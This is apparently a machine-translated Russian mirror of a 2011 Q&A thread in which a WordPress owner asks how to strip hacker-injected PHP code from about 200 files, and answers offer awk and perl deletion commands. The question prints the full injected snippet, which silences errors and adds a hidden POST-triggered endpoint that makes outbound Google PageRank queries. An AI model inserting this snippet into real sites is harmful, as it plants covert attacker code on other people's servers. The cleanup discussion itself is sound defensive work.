Какой подходящий синтаксис grep + sed? - PullRequest
3 голосов
/ 26 мая 2011

У меня было две установки WordPress, когда хакер пытался внедрить некоторый php-код в существующие php-файлы.

Ничего серьезного, но теперь мне нужно удалить около 20 строк текста из примерно 200 текстовых файлов по числуподкаталогов, и просто не достаточно хорошо с grep & sed, чтобы понять это ...

Каков синтаксис команды для поиска в папке "hacked wordpress" по всем *.файлы php (включая подкаталоги), содержащие следующий текстовый фрагмент, а затем удаляют фрагмент?

<?php
//{{56541616

GLOBAL $alreadyxxx;
if($alreadyxxx != 1)
{
$alreadyxxx = 1;
$olderrxxx=error_reporting(0);
function StrToNum($Str, $Check, $Magic)
{
   $Int32Unit = 4294967296;
   $length = strlen($Str);
   for ($i = 0; $i < $length; $i++) {
       $Check *= $Magic;
       if ($Check >= $Int32Unit) {
           $Check = ($Check - $Int32Unit * (int) ($Check / $Int32Unit));
           $Check = ($Check < -2147483648) ? ($Check + $Int32Unit) : $Check;
       }
       $Check += ord($Str{$i});
   }
   return $Check;
}
function HashURL($String)
{
   $Check1 = StrToNum($String, 0x1505, 0x21);
   $Check2 = StrToNum($String, 0, 0x1003F);

   $Check1 >>= 2;
   $Check1 = (($Check1 >> 4) & 0x3FFFFC0 ) | ($Check1 & 0x3F);
   $Check1 = (($Check1 >> 4) & 0x3FFC00 ) | ($Check1 & 0x3FF);
   $Check1 = (($Check1 >> 4) & 0x3C000 ) | ($Check1 & 0x3FFF);

   $T1 = (((($Check1 & 0x3C0) << 4) | ($Check1 & 0x3C)) <<2 ) | ($Check2 & 0xF0F );
   $T2 = (((($Check1 & 0xFFFFC000) << 4) | ($Check1 & 0x3C00)) << 0xA) | ($Check2 & 0xF0F0000 );

   return ($T1 | $T2);
}

function CheckHash($Hashnum)
{
   $CheckByte = 0;
   $Flag = 0;

   $HashStr = sprintf('%u', $Hashnum) ;
   $length = strlen($HashStr);

   for ($i = $length-1; $i >= 0;  $i--) {
       $Re = $HashStr{$i};
       if (1 === ($Flag % 2)) {
           $Re += $Re;
           $Re = (int)($Re / 10) + ($Re % 10);
       }
       $CheckByte += $Re;
       $Flag ++;
   }

   $CheckByte %= 10;
   if (0 !== $CheckByte) {
       $CheckByte = 10 - $CheckByte;
       if (1 === ($Flag % 2) ) {
           if (1 === ($CheckByte % 2)) {
               $CheckByte += 9;
           }
           $CheckByte >>= 1;
       }
   }

   return '7'.$CheckByte.$HashStr;
}

function getpr($url)
{
   $ch = CheckHash(HashURL($url));
   $file = "http://toolbarqueries.google.com/search?client=navclient-auto&ch=$ch&features=Rank&q=info:$url";;
   $data = file_get_contents($file);
   $pos = strpos($data, "Rank_");
   if($pos === false){return -1;} else{
       $pr=substr($data, $pos + 9);
       $pr=trim($pr);
       $pr=str_replace("
",'',$pr);
       return $pr;
   }
}
if(isset($_POST['xxxprch']))
{
    echo getpr($_POST['xxxprch']);
    exit();
}
error_reporting($olderrxxx);
}

//}}18420732
?>

Ответы [ 4 ]

2 голосов
/ 26 мая 2011

Я бы не использовал sed и grep для этого - оба работают только по строкам и не могут вспомнить, что было раньше.Я обычно использую awk.Это то, с чего начинаются большинство уроков по awk после самых основ.По сути, вы создаете три совпадающих блока, один из которых соответствует открытию, один соответствует закрытию и один соответствует остальным.В «открытии» и «закрытии» вы устанавливаете или сбрасываете логическое значение, чтобы отслеживать, печатать ли текущую строку.При обработке остальных строк вы либо печатаете, либо не печатаете в зависимости от этого логического значения.

Кроме того, не забудьте создать резервную копию своих файлов перед запуском.Вы не будете первыми, кто будет застигнут врасплох опечаткой.

/startsequence/    { ignoring=true; }
/endsequence/      { ignoring=false; }
{ if (!ignoring) print }

Замените начальную и конечную последовательности своей действительной последовательностью начала и конца.Если эти цифры действительно присутствуют, используйте их.Я не проверял это (так как я сейчас на Windows-машине без Cygwin), но думаю, что это работает.Вдохновленный примером здесь edit: пример добавлен

0 голосов
/ 02 июля 2011

У меня та же проблема, и я все еще ищу решение.

Посмотрите на это:

http://crystaldawn.net/fix_hack и больше информации здесь: http://frazierit.com/blog/?p=103 и здесь тоже: Как вызвать скрипт php, используя элементы формы html вместо командной строки?

Скрипт очистки не идеален и, похоже, удаляет некоторые вещи, которые он не должен. У меня нет навыков, чтобы уточнить это. Было бы здорово, если бы кто-то смог это починить!

0 голосов
/ 26 мая 2011

Я не проверял это. Но идея верна, я надеюсь:

find ./hacked wordpress -name "*.php"|xargs awk '/^<?php/NP=1,/?>$/NP=0{if(NP=0) print}'
0 голосов
/ 26 мая 2011

используйте perl;

find "hacked wordpress" -iname \*.php -print |\
xargs perl -0777 -i -pe 's:\s*<\?php\s*//\{\{56541616.*?//\}\}18420732\s*\?>\s*::s;'

Это должно удалить весь фрагмент из каждого файла .php.

DRY RUN FIRST - так что проверьте временную копию.

...